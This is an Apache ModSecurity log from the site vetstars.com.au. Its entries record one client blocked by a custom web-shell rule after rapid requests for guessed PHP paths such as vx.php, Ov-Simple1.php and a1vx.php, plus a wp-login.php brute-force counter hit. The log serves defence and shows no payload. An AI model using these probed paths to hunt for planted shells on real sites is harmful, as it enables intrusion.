[Sat Feb 28 06:35:18.868771 2026] [:error] [pid 39185:tid 39248] [client 158.158.96.194:18216] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/guk.php"] [unique_id "aaIcJhVE-FfM89u7BQZQ7gAAAII"]
[Sat Feb 28 06:35:19.528111 2026] [:error] [pid 39292:tid 39297] [client 158.158.96.194:64920] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/guk.php"] [unique_id "aaIcJ6IAO5fN7BxyqcFtTwAAAMM"]
[Sat Feb 28 06:35:20.863410 2026] [:error] [pid 11791:tid 11816] [client 158.158.96.194:31213] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aaIcKGuX5e1Q32gqxH2tMAAAARc"]
[Sat Feb 28 06:35:21.837642 2026] [:error] [pid 11791:tid 11795] [client 158.158.96.194:32380] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aaIcKWuX5e1Q32gqxH2tNQAAAQI"]
[Sat Feb 28 06:35:22.590476 2026] [:error] [pid 39183:tid 39197] [client 158.158.96.194:20127] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aaIcKhCf4HvhVePw3LZwQQAAAAU"]
[Sat Feb 28 06:35:23.243085 2026] [:error] [pid 22194:tid 22215] [client 158.158.96.194:23622] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aaIcK36mbajs3bzQGysEVwAAAVM"]
[Sat Feb 28 06:35:24.252314 2026] [:error] [pid 39184:tid 39223] [client 158.158.96.194:31221] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ze.php"] [unique_id "aaIcLFtZF9Zd_U7easA8lAAAAEQ"]
[Sat Feb 28 06:35:25.765905 2026] [:error] [pid 22194:tid 22209] [client 158.158.96.194:8462] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ze.php"] [unique_id "aaIcLX6mbajs3bzQGysEXQAAAU0"]
[Sat Feb 28 06:35:26.701738 2026] [:error] [pid 39292:tid 39295] [client 158.158.96.194:8453] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ze.php"] [unique_id "aaIcLqIAO5fN7BxyqcFtZAAAAME"]
[Sat Feb 28 06:35:27.635646 2026] [:error] [pid 39292:tid 39311] [client 158.158.96.194:17832] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ze.php"] [unique_id "aaIcL6IAO5fN7BxyqcFtZQAAANE"]
[Sat Feb 28 06:35:29.183509 2026] [:error] [pid 22194:tid 22207] [client 158.158.96.194:64922] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file52.php"] [unique_id "aaIcMX6mbajs3bzQGysEeQAAAUs"]
[Sat Feb 28 06:35:29.990987 2026] [:error] [pid 22194:tid 22197] [client 158.158.96.194:34504] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file52.php"] [unique_id "aaIcMX6mbajs3bzQGysEfgAAAUE"]
[Sat Feb 28 06:35:31.476338 2026] [:error] [pid 39184:tid 39237] [client 158.158.96.194:64925] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file52.php"] [unique_id "aaIcM1tZF9Zd_U7easA8mQAAAFI"]
[Sat Feb 28 06:35:40.288150 2026] [:error] [pid 39292:tid 39311] [client 158.158.96.194:31202] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file52.php"] [unique_id "aaIcPKIAO5fN7BxyqcFtqwAAANE"]
[Sat Feb 28 06:35:45.681805 2026] [:error] [pid 39292:tid 39302] [client 158.158.96.194:31216] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tax.php"] [unique_id "aaIcQaIAO5fN7BxyqcFtxQAAAMg"]
[Sat Feb 28 06:35:46.701572 2026] [:error] [pid 22194:tid 22201] [client 158.158.96.194:35289] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tax.php"] [unique_id "aaIcQn6mbajs3bzQGysEigAAAUU"]
[Sat Feb 28 06:35:47.541787 2026] [:error] [pid 39184:tid 39223] [client 158.158.96.194:35277] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tax.php"] [unique_id "aaIcQ1tZF9Zd_U7easA8qAAAAEQ"]
[Sat Feb 28 06:35:48.649970 2026] [:error] [pid 11791:tid 11811] [client 158.158.96.194:32770] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tax.php"] [unique_id "aaIcRGuX5e1Q32gqxH2tYwAAARI"]
[Sat Feb 28 06:35:49.390901 2026] [:error] [pid 22194:tid 22204] [client 158.158.96.194:33986] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/an7.php"] [unique_id "aaIcRX6mbajs3bzQGysEjQAAAUg"]
[Sat Feb 28 06:35:50.360940 2026] [:error] [pid 39292:tid 39316] [client 158.158.96.194:21306] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/an7.php"] [unique_id "aaIcRqIAO5fN7BxyqcFtzAAAANY"]
[Sat Feb 28 06:35:51.294130 2026] [:error] [pid 39292:tid 39305] [client 158.158.96.194:16728] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/an7.php"] [unique_id "aaIcR6IAO5fN7BxyqcFt0gAAAMs"]
[Sat Feb 28 06:35:52.008035 2026] [:error] [pid 39184:tid 39240] [client 158.158.96.194:18287] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/an7.php"] [unique_id "aaIcSFtZF9Zd_U7easA8sgAAAFU"]
[Sat Feb 28 06:35:52.876163 2026] [:error] [pid 39292:tid 39316] [client 158.158.96.194:20970] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ty.php"] [unique_id "aaIcSKIAO5fN7BxyqcFt3QAAANY"]
[Sat Feb 28 06:35:53.676486 2026] [:error] [pid 39183:tid 39196] [client 158.158.96.194:20937] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ty.php"] [unique_id "aaIcSRCf4HvhVePw3LZwWQAAAAQ"]
[Sat Feb 28 06:35:54.570363 2026] [:error] [pid 39185:tid 39264] [client 158.158.96.194:19402] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ty.php"] [unique_id "aaIcShVE-FfM89u7BQZRFAAAAJI"]
[Sat Feb 28 06:35:58.021762 2026] [:error] [pid 22194:tid 22218] [client 158.158.96.194:19408] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ty.php"] [unique_id "aaIcTn6mbajs3bzQGysEnwAAAVY"]
[Sat Feb 28 06:35:59.424003 2026] [:error] [pid 39292:tid 39297] [client 158.158.96.194:21956] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/brc.php"] [unique_id "aaIcT6IAO5fN7BxyqcFuCwAAAMM"]
[Sat Feb 28 06:36:00.392909 2026] [:error] [pid 22194:tid 22201] [client 158.158.96.194:29718] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/brc.php"] [unique_id "aaIcUH6mbajs3bzQGysErwAAAUU"]
[Sat Feb 28 06:36:02.496533 2026] [:error] [pid 39184:tid 39237] [client 158.158.96.194:62088] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/brc.php"] [unique_id "aaIcUltZF9Zd_U7easA8vQAAAFI"]
[Sat Feb 28 06:36:03.975748 2026] [:error] [pid 11791:tid 11815] [client 158.158.96.194:20984] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/brc.php"] [unique_id "aaIcU2uX5e1Q32gqxH2tlgAAARY"]
[Sat Feb 28 06:36:05.129094 2026] [:error] [pid 11791:tid 11793] [client 158.158.96.194:20981] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/koiy.php"] [unique_id "aaIcVWuX5e1Q32gqxH2toQAAAQA"]
[Sat Feb 28 06:36:06.257946 2026] [:error] [pid 22194:tid 22204] [client 158.158.96.194:18791] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/koiy.php"] [unique_id "aaIcVn6mbajs3bzQGysEzAAAAUg"]
[Sat Feb 28 06:36:07.221982 2026] [:error] [pid 39185:tid 39246] [client 178.33.40.189:57966] [client 178.33.40.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.33.40.189, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaIcVxVE-FfM89u7BQZRLgAAAIA"]
[Sat Feb 28 06:36:07.691754 2026] [:error] [pid 11791:tid 11809] [client 158.158.96.194:48938] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/koiy.php"] [unique_id "aaIcV2uX5e1Q32gqxH2tpQAAARA"]
[Sat Feb 28 06:36:08.510674 2026] [:error] [pid 11791:tid 11795] [client 158.158.96.194:20971] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/koiy.php"] [unique_id "aaIcWGuX5e1Q32gqxH2tqAAAAQI"]
[Sat Feb 28 06:36:09.415126 2026] [:error] [pid 11791:tid 11798] [client 158.158.96.194:16697] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/myfile.php"] [unique_id "aaIcWWuX5e1Q32gqxH2tqgAAAQU"]
[Sat Feb 28 06:36:11.452025 2026] [:error] [pid 39292:tid 39307] [client 158.158.96.194:26563] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/myfile.php"] [unique_id "aaIcW6IAO5fN7BxyqcFuMQAAAM0"]
[Sat Feb 28 06:36:12.421273 2026] [:error] [pid 22194:tid 22202] [client 158.158.96.194:20948] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/myfile.php"] [unique_id "aaIcXH6mbajs3bzQGysE2wAAAUY"]
[Sat Feb 28 06:36:13.268005 2026] [:error] [pid 22194:tid 22198] [client 158.158.96.194:16697] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/myfile.php"] [unique_id "aaIcXX6mbajs3bzQGysE3gAAAUI"]
[Sat Feb 28 06:36:15.552509 2026] [:error] [pid 39183:tid 39216] [client 158.158.96.194:34049] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fr/ms.php"] [unique_id "aaIcXxCf4HvhVePw3LZwbwAAABg"]
[Sat Feb 28 06:36:16.955711 2026] [:error] [pid 39292:tid 39314] [client 158.158.96.194:19041] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fr/ms.php"] [unique_id "aaIcYKIAO5fN7BxyqcFuSgAAANQ"]
[Sat Feb 28 06:36:18.871128 2026] [:error] [pid 22194:tid 22218] [client 158.158.96.194:29818] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fr/ms.php"] [unique_id "aaIcYn6mbajs3bzQGysFAQAAAVY"]
[Sat Feb 28 06:36:20.883151 2026] [:error] [pid 39183:tid 39205] [client 158.158.96.194:20523] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fr/ms.php"] [unique_id "aaIcZBCf4HvhVePw3LZwegAAAA0"]
[Sat Feb 28 06:36:22.909013 2026] [:error] [pid 39183:tid 39202] [client 158.158.96.194:40111] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aaIcZhCf4HvhVePw3LZwfwAAAAo"]
[Sat Feb 28 06:36:28.244038 2026] [:error] [pid 11791:tid 11795] [client 158.158.96.194:28925] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aaIcbGuX5e1Q32gqxH2twwAAAQI"]
[Sat Feb 28 06:36:31.031159 2026] [:error] [pid 11791:tid 11799] [client 158.158.96.194:22790] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aaIcb2uX5e1Q32gqxH2txwAAAQY"]
[Sat Feb 28 06:36:32.281661 2026] [:error] [pid 22194:tid 22199] [client 158.158.96.194:25869] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aaIccH6mbajs3bzQGysFFwAAAUM"]
[Sat Feb 28 06:36:33.375040 2026] [:error] [pid 39292:tid 39307] [client 158.158.96.194:49835] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gool.php"] [unique_id "aaIccaIAO5fN7BxyqcFufAAAAM0"]
[Sat Feb 28 06:36:34.517996 2026] [:error] [pid 22194:tid 22220] [client 158.158.96.194:28872] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gool.php"] [unique_id "aaIccn6mbajs3bzQGysFHAAAAVg"]
[Sat Feb 28 06:36:35.881297 2026] [:error] [pid 39185:tid 39268] [client 158.158.96.194:31944] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gool.php"] [unique_id "aaIccxVE-FfM89u7BQZRQwAAAJY"]
[Sat Feb 28 06:36:37.524654 2026] [:error] [pid 39292:tid 39307] [client 158.158.96.194:40069] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gool.php"] [unique_id "aaIcdaIAO5fN7BxyqcFuoAAAAM0"]
[Sat Feb 28 06:36:45.664273 2026] [:error] [pid 39184:tid 39221] [client 158.158.96.194:28922] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1vx.php"] [unique_id "aaIcfVtZF9Zd_U7easA9HQAAAEI"]
[Sat Feb 28 06:36:47.851537 2026] [:error] [pid 39184:tid 39236] [client 158.158.96.194:19234] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1vx.php"] [unique_id "aaIcf1tZF9Zd_U7easA9IgAAAFE"]
[Sat Feb 28 06:36:49.842709 2026] [:error] [pid 22194:tid 22207] [client 158.158.96.194:1112] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1vx.php"] [unique_id "aaIcgX6mbajs3bzQGysFLwAAAUs"]
[Sat Feb 28 06:36:51.675874 2026] [:error] [pid 22194:tid 22215] [client 158.158.96.194:19213] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1vx.php"] [unique_id "aaIcg36mbajs3bzQGysFNAAAAVM"]
[Sat Feb 28 06:37:00.507593 2026] [:error] [pid 11791:tid 11793] [client 158.158.96.194:25493] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mans.php"] [unique_id "aaIcjGuX5e1Q32gqxH2t4wAAAQA"]
